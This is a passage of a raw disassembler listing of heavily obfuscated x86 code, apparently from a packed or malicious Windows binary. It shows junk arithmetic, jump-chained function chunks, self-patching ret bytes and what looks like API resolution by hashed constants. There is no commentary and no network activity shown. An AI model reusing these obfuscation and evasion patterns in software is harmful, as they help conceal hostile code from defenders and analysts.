; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_440A66:				; CODE XREF: sub_44D7E0:loc_442A7Cj
					; sub_4443AD:loc_44BCBDj ...
		jnb	loc_4443C1
		pop	edx
		call	sub_43B006

loc_440A72:				; CODE XREF: sub_43B252:loc_44D615j
		jz	loc_447A95
		jmp	loc_447C2C
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439407

loc_440A7D:				; CODE XREF: sub_439407:loc_44438Fj
		cmp	eax, 16F77882h
		jmp	loc_441D03
; END OF FUNCTION CHUNK	FOR sub_439407

; =============== S U B	R O U T	I N E =======================================



sub_440A88	proc near		; CODE XREF: y22d6.y.:004393CCp
					; y22d6.y.:0044DBF2j

; FUNCTION CHUNK AT 00441984 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447B6B SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_43CA1A
		mov	ds:dword_41E0CC, eax
		jmp	loc_447B6B
sub_440A88	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_440A9C:				; CODE XREF: sub_44BBBA-12E15j
		ror	edx, 0Ch
		jmp	loc_43FA4B
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_440AA4:				; CODE XREF: sub_44BCC2:loc_44884Aj
		jz	loc_449672
		jmp	loc_44D422
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
		adc	esi, edi
		jmp	loc_439930
; ---------------------------------------------------------------------------

loc_440AB6:				; CODE XREF: y22d6.y.:00439265j
		jz	loc_43D4D4

; =============== S U B	R O U T	I N E =======================================



sub_440ABC	proc near		; CODE XREF: sub_4432B8:loc_43F2A3j
					; sub_4475B3+6ABp

; FUNCTION CHUNK AT 004388BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B5F8 SIZE 0000001B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	esi, ebp
		add	esi, 16037AE6h
		mov	[esi], ecx
		pop	esi
		mov	[ebp-6], dx
		jmp	loc_4388BC
sub_440ABC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ebp, [edx]
		shl	eax, 7
		jmp	sub_43B11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_440ADE:				; CODE XREF: sub_43B7B5:loc_448E85j
		jnz	loc_44533B
		jmp	loc_441A94
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------

loc_440AE9:				; CODE XREF: y22d6.y.:0043B720j
		jge	loc_4410A0
		pushf
		jmp	loc_447C58

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440AF5	proc near		; CODE XREF: sub_44C59C-13C31p
					; y22d6.y.:00439E44p ...
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		push	offset sub_44DB4F
		jmp	nullsub_40
sub_440AF5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_440B05:				; CODE XREF: sub_43C712+7128j
		shl	ebx, 0Eh
		test	eax, 84B8C43Eh
		jmp	loc_442691
; END OF FUNCTION CHUNK	FOR sub_43C712

; =============== S U B	R O U T	I N E =======================================



sub_440B13	proc near		; CODE XREF: sub_44066C-92CEj

var_4		= dword	ptr -4

		push	ebx
		push	eax
		pop	ebx
		xchg	ebx, [esp+4+var_4]
		ror	eax, 18h
		mov	ds:dword_43C7F8, eax
		retn
sub_440B13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D7

loc_440B23:				; CODE XREF: sub_43C3D7+1j
		jmp	loc_43A84F
; END OF FUNCTION CHUNK	FOR sub_43C3D7
; ---------------------------------------------------------------------------

loc_440B28:				; DATA XREF: sub_44A359-1045Ao
		or	eax, eax
		jnz	loc_43E2FE
		jmp	loc_446161
; ---------------------------------------------------------------------------

locret_440B35:				; CODE XREF: y22d6.y.:0043A7FAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442266

loc_440B36:				; CODE XREF: sub_44DB81:loc_44564Cj
					; sub_442266+8936j
		jmp	loc_43DE89
; END OF FUNCTION CHUNK	FOR sub_442266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DF73

loc_440B3B:				; CODE XREF: sub_44DF73-12AABj
		jmp	loc_44A872
; END OF FUNCTION CHUNK	FOR sub_44DF73
; ---------------------------------------------------------------------------

locret_440B40:				; CODE XREF: y22d6.y.:loc_4398B9j
		retn
; ---------------------------------------------------------------------------

loc_440B41:				; CODE XREF: y22d6.y.:0043D3D5j
		jmp	loc_43F6EC
; ---------------------------------------------------------------------------

loc_440B46:				; CODE XREF: y22d6.y.:00437A83j
		rol	ecx, 19h
; START	OF FUNCTION CHUNK FOR sub_447663

loc_440B49:				; CODE XREF: sub_447663:loc_437A77j
		add	eax, 0FFB279Eh
		call	sub_43F7FF
		mov	ds:off_41E014, eax
		lea	eax, sub_43A148
		mov	byte ptr [eax],	0C3h
		jmp	loc_449B4E
; END OF FUNCTION CHUNK	FOR sub_447663

; =============== S U B	R O U T	I N E =======================================



sub_440B68	proc near		; CODE XREF: sub_4019F9+82p
					; sub_440B68:loc_44D839j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00449C92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D839 SIZE 00000006 BYTES

		call	sub_44D83F
		jmp	loc_449C92
sub_440B68	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_311. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44156E

loc_440B73:				; CODE XREF: sub_44156E-CB6j
		and	esi, ebx
		jmp	loc_44326E
; END OF FUNCTION CHUNK	FOR sub_44156E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CED

loc_440B7A:				; CODE XREF: sub_449CED:loc_43C410j
		pop	ecx
		sub	ecx, 7812B07h
		xor	ecx, 0FF70B36Bh
		call	sub_439CB5
; END OF FUNCTION CHUNK	FOR sub_449CED
; START	OF FUNCTION CHUNK FOR sub_4476DE

loc_440B8C:				; CODE XREF: sub_4476DE+44D7j
		jmp	loc_4434D5
; END OF FUNCTION CHUNK	FOR sub_4476DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9DF

loc_440B91:				; CODE XREF: sub_44A9DF+6j
		jmp	loc_44E507
; END OF FUNCTION CHUNK	FOR sub_44A9DF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44256D

loc_440B97:				; CODE XREF: sub_44256D:loc_438875j
		mov	eax, [esp+0]
		push	edx
		call	sub_44C758
		mov	eax, 0CB39536Bh
		jmp	loc_4398BF
; END OF FUNCTION CHUNK	FOR sub_44256D

; =============== S U B	R O U T	I N E =======================================



sub_440BAA	proc near		; DATA XREF: sub_441B2E+7o
		call	sub_4480DE
		retn
sub_440BAA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C1B

loc_440BB0:				; CODE XREF: sub_449C1B+47DEj
		jmp	loc_4405DF
; END OF FUNCTION CHUNK	FOR sub_449C1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_440BB5:				; CODE XREF: sub_43B09B+8E98j
		jmp	loc_44A078
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
		jmp	loc_4491F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_440BBF:				; CODE XREF: sub_439051-EE2j
		push	esi
		push	0D2B15A78h
		pop	esi
		and	esi, 10285455h
		sub	esi, 0F1CA6A28h
		jmp	loc_4390E6
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------

loc_440BD7:				; CODE XREF: y22d6.y.:004440D3j
		and	edx, esi
		and	edi, 0B352DC95h
		adc	ebp, 0E5DF484Eh

loc_440BE5:				; CODE XREF: y22d6.y.:loc_445B60j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_438D05
		jmp	loc_44906D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFBB

loc_440BF7:				; CODE XREF: sub_43FFBB+87E6j
		jmp	nullsub_369
; END OF FUNCTION CHUNK	FOR sub_43FFBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44585C

loc_440BFC:				; CODE XREF: sub_44585C:loc_43FA71j
		jz	loc_448917
		jmp	loc_446199
; END OF FUNCTION CHUNK	FOR sub_44585C
; ---------------------------------------------------------------------------

loc_440C07:				; CODE XREF: y22d6.y.:loc_440019j
		or	edi, 0D60A4701h
		and	edi, 89CA0FCCh
		xor	edi, 0AB4DE264h
		and	edi, 0B66BA33Ah
		add	edi, 0DDFFCFDEh
		jmp	loc_44492E
; ---------------------------------------------------------------------------

loc_440C2A:				; CODE XREF: y22d6.y.:0043A242j
					; y22d6.y.:00442A2Bj
		xor	edx, 1D920A01h
		push	eax
		push	66B08FB6h
		pop	eax
		sub	eax, 0E5FB8C54h
		add	eax, 6C28C66Dh
		sub	eax, 81A19C60h
		jmp	loc_4443DE

; =============== S U B	R O U T	I N E =======================================



sub_440C4E	proc near		; CODE XREF: y22d6.y.:0043CBA9j
					; sub_43CFF2+Ap
		xchg	esi, [esp+0]
		pop	esi
		mov	[ebp-14h], eax

loc_440C55:				; CODE XREF: sub_445F98+7j
		mov	eax, [ebp-14h]
		call	sub_43BEF7

loc_440C5D:				; CODE XREF: y22d6.y.:00444F15j
		jmp	nullsub_41
sub_440C4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	esi, 0FD271961h
		jmp	sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_440C6D:				; CODE XREF: sub_44B17B-810j
		jo	loc_43978D

loc_440C73:				; CODE XREF: sub_44B17B:loc_44A95Cj
		sub	edx, 35CBD4E6h
		add	edx, 0B3F5ADA5h
		mov	[edx], eax
		pop	edx
		jmp	loc_4400D0
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		call	sub_43CCD2
; START	OF FUNCTION CHUNK FOR sub_44A0A7

loc_440C8C:				; CODE XREF: sub_44A0A7+FD1j
		jmp	loc_4437A8
; END OF FUNCTION CHUNK	FOR sub_44A0A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_440C91:				; CODE XREF: sub_4432B8+2312j
		jle	sub_4408F2
		jmp	loc_43B224
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_440C9C:				; CODE XREF: y22d6.y.:004493B5j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43B224
		jmp	loc_43AA73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483BF

loc_440CB0:				; CODE XREF: sub_4483BF:loc_440FB9j
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+8+var_8]
		push	0E2963718h

loc_440CC0:				; CODE XREF: y22d6.y.:loc_437E84j
		pop	ecx
		xor	ecx, 5165271Ch
		jmp	loc_44352B
; END OF FUNCTION CHUNK	FOR sub_4483BF
; ---------------------------------------------------------------------------
		xor	esi, edi
		jmp	loc_44DB7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_440CD3:				; CODE XREF: sub_43E7BF:loc_444929j
		mov	byte ptr [eax],	0C3h
		jmp	loc_447734
; END OF FUNCTION CHUNK	FOR sub_43E7BF

; =============== S U B	R O U T	I N E =======================================



sub_440CDB	proc near		; CODE XREF: sub_40158F+183p
					; sub_40158F+186p ...
		call	sub_440CE6
		jmp	ds:off_41E03C
sub_440CDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_440CE6	proc near		; CODE XREF: sub_440CDBp
					; sub_441619:loc_447EAAj ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043BC5F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00447EC6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044B997 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044BBD7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044C53D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		jmp	loc_44C53D
sub_440CE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cdq
		jmp	loc_43C287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E0

loc_440CF7:				; CODE XREF: sub_43F9E0+26B1j
		mov	eax, edx
		xchg	eax, [esp+4+var_4]
		push	offset loc_448BCD
		jmp	loc_44A79F
; END OF FUNCTION CHUNK	FOR sub_43F9E0
; ---------------------------------------------------------------------------
		jnz	loc_44131B
		jmp	sub_43FC02

; =============== S U B	R O U T	I N E =======================================



sub_440D11	proc near		; CODE XREF: y22d6.y.:0043F77Fj
					; sub_444871+D6Dp

; FUNCTION CHUNK AT 004435D1 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		rol	eax, 6
		xor	eax, 361E0FAEh
		rol	eax, 19h
		mov	ds:dword_443028, eax
		jmp	loc_4435D1
sub_440D11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 510AEA73h
		call	sub_43CA1A
		mov	ds:dword_41E108, eax
		lea	eax, nullsub_281
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_281
; ---------------------------------------------------------------------------

loc_440D4A:				; DATA XREF: sub_448EB6-A09Ao
		xchg	ebp, [esp]
		push	ecx
		push	4CCAE428h
		pop	ecx
		or	ecx, 76447BD9h
		and	ecx, 652D8493h
		test	ecx, 2
		jmp	loc_44516C

; =============== S U B	R O U T	I N E =======================================



sub_440D6B	proc near		; CODE XREF: sub_43C242+1BDp
					; y22d6.y.:0044C2D4j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004375C7 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ebx, 95BD338Fh

loc_440D75:				; CODE XREF: sub_44B17B:loc_442058j
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_4375C7
sub_440D6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0B413F36Fh
		pop	edx
		or	edx, 0A9094920h
		add	edx, 4328E1FDh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_438C42
		jmp	loc_444800

; =============== S U B	R O U T	I N E =======================================



sub_440D9E	proc near		; CODE XREF: y22d6.y.:0043A727j
					; sub_43F750+109Bp

; FUNCTION CHUNK AT 0044134E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00447CF0 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 47A6B394h
		add	eax, ebp
		jmp	loc_44134E
sub_440D9E	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_323. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_440DB0:				; CODE XREF: sub_4422AA+Bj
		jmp	loc_439521
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------

loc_440DB5:				; CODE XREF: y22d6.y.:loc_43A66Ej
		shr	edx, 1Ah
		mov	ecx, 4F5D438Fh
		jmp	loc_44202E
; ---------------------------------------------------------------------------
		add	edi, eax
		ror	edi, 1Ch
		jmp	sub_43D9D2

; =============== S U B	R O U T	I N E =======================================



sub_440DCC	proc near		; CODE XREF: y22d6.y.:0043C2D4p
					; y22d6.y.:0044A191j
		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 8BD44999h
		xor	eax, edi
sub_440DCC	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440DD8:				; CODE XREF: sub_448EB6:loc_44B453j
		pop	edi
		sub	eax, 9BD7C9B8h
		jmp	loc_44D57F
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_440DE4:				; CODE XREF: sub_448C77:loc_438A2Dj
		push	esi
		push	0BBBB11FEh
		pop	esi
		and	esi, 3696E8ABh
		jmp	loc_4473E0
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------

loc_440DF6:				; CODE XREF: y22d6.y.:004462D3j
		push	3841370Eh
		pop	edx
		rol	edx, 0Eh
		cmp	edx, 7680D261h
		jmp	loc_43E0B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D64C

loc_440E0A:				; CODE XREF: sub_44D64C:loc_44D126j
		push	0AE12A5BAh
		pop	eax
		or	eax, ds:4000E8h
		and	eax, 530D399Fh
		add	eax, 0FDF2D662h
		jmp	loc_445DA2
; END OF FUNCTION CHUNK	FOR sub_44D64C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_440E27:				; CODE XREF: sub_43FFE2+39D5j
		sub	edx, eax
		jmp	loc_43F7D9
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F224

loc_440E2E:				; CODE XREF: sub_43F224:loc_43F4F7j
		jge	loc_44160E

loc_440E34:				; CODE XREF: y22d6.y.:00449E10j
		jmp	sub_44A5E5
; END OF FUNCTION CHUNK	FOR sub_43F224
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4389FD

loc_440E39:				; CODE XREF: sub_4389FD+FC4Fj
		jmp	nullsub_374
; END OF FUNCTION CHUNK	FOR sub_4389FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_440E3E:				; CODE XREF: sub_4425E0:loc_43AC06j
					; y22d6.y.:loc_4497E8j
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_4425E0
; ---------------------------------------------------------------------------

loc_440E43:				; CODE XREF: y22d6.y.:00439F42j
		jmp	loc_44C0EA
; ---------------------------------------------------------------------------
		sbb	eax, 54C75FF2h
		mov	edx, [edi]
		jmp	loc_441605

; =============== S U B	R O U T	I N E =======================================



sub_440E55	proc near		; CODE XREF: y22d6.y.:00444E57j
					; sub_44DA4B-6E4p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	edx, [esp-4+arg_0]
		jmp	sub_43760A
sub_440E55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440E61	proc near		; DATA XREF: sub_442E1F-688Do
		inc	dword ptr [ebp-8]
sub_440E61	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_440E64:				; CODE XREF: sub_4385ED:loc_44AF7Ej
					; sub_442E1F:loc_44C753j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	nullsub_184
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
		push	edx
		call	sub_43D246

loc_440E75:				; CODE XREF: y22d6.y.:00437425j
		xor	ebx, edi

; =============== S U B	R O U T	I N E =======================================



sub_440E77	proc near		; CODE XREF: sub_440543-2694p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00449C67 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_449C67
sub_440E77	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0ADh
dword_440E84	dd 0			; DATA XREF: sub_4499F4:loc_4442A1r
dword_440E88	dd 94399457h, 0B8A851C9h, 8D1B91h ; DATA XREF: y22d6.y.:loc_43C07Eo
					; sub_4432B8+178o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4496E3

loc_440E94:				; CODE XREF: sub_4496E3+4247j
		jmp	loc_44980A
; END OF FUNCTION CHUNK	FOR sub_4496E3
; ---------------------------------------------------------------------------

loc_440E99:				; CODE XREF: y22d6.y.:0043B2F3j
		jmp	loc_44021D
; ---------------------------------------------------------------------------
		jns	loc_445EB8
		push	3C4C05B2h
		pop	edx
		or	edx, 7CAC5055h
		jmp	loc_438FB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_440EB5:				; CODE XREF: sub_4416F3-74CDj
		jnz	loc_44B377
		jmp	loc_43FF03
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------

locret_440EC0:				; CODE XREF: y22d6.y.:0043C079j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_440EC1:				; CODE XREF: sub_4450FD:loc_44C0B2j
		xor	eax, 1A85F2EDh
		jmp	loc_43E7FE
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------

loc_440ECC:				; CODE XREF: y22d6.y.:00443B50j
		push	6A4B6412h
		xchg	edi, [esp]
		mov	esi, edi
		pop	edi
		rol	esi, 0Dh
		xor	esi, 76D55769h
		add	esi, 0CD32EF9Ah
		sub	esi, 0CE7105h
		jmp	loc_442D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6C0

loc_440EF1:				; CODE XREF: sub_43E6C0+Aj
		pop	eax
		and	eax, 2EC4A393h
		rol	eax, 1Ah
		add	eax, 0BFAAA153h

loc_440F01:				; CODE XREF: y22d6.y.:loc_439FE6j
		xchg	eax, [esp+0]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43E6C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440F0A:				; CODE XREF: y22d6.y.:loc_4485EFj
		mov	eax, [esp]
		push	edx
		call	sub_44CDB7
		mov	eax, 0EA34346Fh
		call	sub_43CA1A
		push	ebx
		push	2C608B2Ah
		pop	ebx
		jmp	loc_43A2DC
; ---------------------------------------------------------------------------

loc_440F29:				; CODE XREF: y22d6.y.:004493D3j
		ja	loc_437DE9

; =============== S U B	R O U T	I N E =======================================



sub_440F2F	proc near		; CODE XREF: sub_44B3F8:loc_44B404p
		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
sub_440F2F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_440F3A:				; CODE XREF: sub_43C712+104F6j
		jmp	loc_437C5D
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFB1

loc_440F3F:				; CODE XREF: sub_43EFB1+Cj
					; sub_442FA7+11j
		inc	dword ptr [ebp-18h]
		jmp	loc_43AB23
; END OF FUNCTION CHUNK	FOR sub_43EFB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_440F47:				; CODE XREF: sub_4416F3:loc_43C155j
		jz	loc_448D76
		jmp	loc_447534
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_440F52:				; CODE XREF: sub_43B09B+8F86j
		jl	loc_4436B0
; END OF FUNCTION CHUNK	FOR sub_43B09B
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_440F58:				; CODE XREF: sub_442856:loc_438118j
					; sub_43B09B:loc_449F4Bj ...
		jmp	loc_44B260
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_440F5D:				; CODE XREF: sub_44B17B-BDDFj
					; sub_43B09B+12F40j
		pop	ecx
		xchg	eax, [esp+0]
		mov	ebp, eax
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394F3

loc_440F65:				; CODE XREF: sub_4394F3+3FEFj
		jmp	loc_439575
; END OF FUNCTION CHUNK	FOR sub_4394F3

; =============== S U B	R O U T	I N E =======================================



sub_440F6A	proc near		; CODE XREF: sub_4432B8-2BC2p
					; y22d6.y.:00449E8Dj ...

; FUNCTION CHUNK AT 0044C88F SIZE 00000014 BYTES

		call	sub_4453AA

loc_440F6F:				; CODE XREF: sub_4420B5+Aj
		jmp	loc_44C88F
sub_440F6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440F74:				; CODE XREF: y22d6.y.:0044126Cj
		jmp	loc_4380F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399C6

loc_440F79:				; CODE XREF: sub_4399C6-21D1j
		jmp	nullsub_348
; END OF FUNCTION CHUNK	FOR sub_4399C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440F7E:				; CODE XREF: sub_448EB6:loc_43E4D9j
		add	edi, 0DFFF048Bh
		xor	edi, 0D5E6A8DAh
		test	edi, 40h
		jmp	loc_437BD4
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_440F95:				; CODE XREF: y22d6.y.:0043DF81j
		shr	edx, 16h
		adc	eax, edi

loc_440F9A:				; CODE XREF: y22d6.y.:loc_4409D0j
		lea	eax, [ebp-14h]
		call	sub_43FDBB

locret_440FA2:				; CODE XREF: y22d6.y.:00441F01j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_440FA3:				; CODE XREF: sub_439F5A+B51j
		jmp	loc_445898
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------

loc_440FA8:				; CODE XREF: y22d6.y.:004380A7j
		jmp	locret_439CC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43910C

loc_440FAD:				; CODE XREF: sub_43910C+10j
		jz	loc_4488FD
		jmp	loc_438CE0
; END OF FUNCTION CHUNK	FOR sub_43910C
; ---------------------------------------------------------------------------

locret_440FB8:				; CODE XREF: y22d6.y.:loc_43DF4Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483BF

loc_440FB9:				; CODE XREF: sub_4483BF+4j
		jmp	loc_440CB0
; END OF FUNCTION CHUNK	FOR sub_4483BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4410E0

loc_440FBE:				; CODE XREF: sub_4410E0-2BAEj
		rol	esi, 17h

loc_440FC1:				; CODE XREF: sub_4410E0:loc_4432A6j
		call	sub_43B566

loc_440FC6:				; CODE XREF: sub_443B1F+1Bj
		jmp	loc_448F0C
; END OF FUNCTION CHUNK	FOR sub_4410E0
; ---------------------------------------------------------------------------

loc_440FCB:				; CODE XREF: y22d6.y.:00440973j
		jmp	loc_43C482
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_440FD0:				; CODE XREF: sub_439051-1B52j
		jmp	loc_4402CA
; END OF FUNCTION CHUNK	FOR sub_439051
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_321. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_440FD6:				; CODE XREF: sub_43D20E+10A20j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_44C171
		mov	[ebp-4], eax
		jmp	loc_44C161
; ---------------------------------------------------------------------------

loc_440FEA:				; CODE XREF: sub_43D20E:loc_43BA54j
		lea	eax, [ebp-125h]
		jmp	loc_43EB0F
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_440FF5:				; CODE XREF: sub_44AEDA:loc_43CBCEj
		jz	loc_43FCEF
		jmp	loc_438E93
; END OF FUNCTION CHUNK	FOR sub_44AEDA

; =============== S U B	R O U T	I N E =======================================



sub_441000	proc near		; CODE XREF: sub_4432B8:loc_449FB7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004378F3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004381C5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043848C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BB6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EE54 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004421B6 SIZE 0000001C BYTES

		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		push	6B027D10h
		jmp	loc_4381C5
sub_441000	endp

; ---------------------------------------------------------------------------
		dd 3036EBBBh, 5D8A0F5Bh, 0E9000098h, 21Eh

; =============== S U B	R O U T	I N E =======================================



sub_441020	proc near		; CODE XREF: sub_4081DD+177p
					; sub_408395+1Cp ...
		call	sub_441030
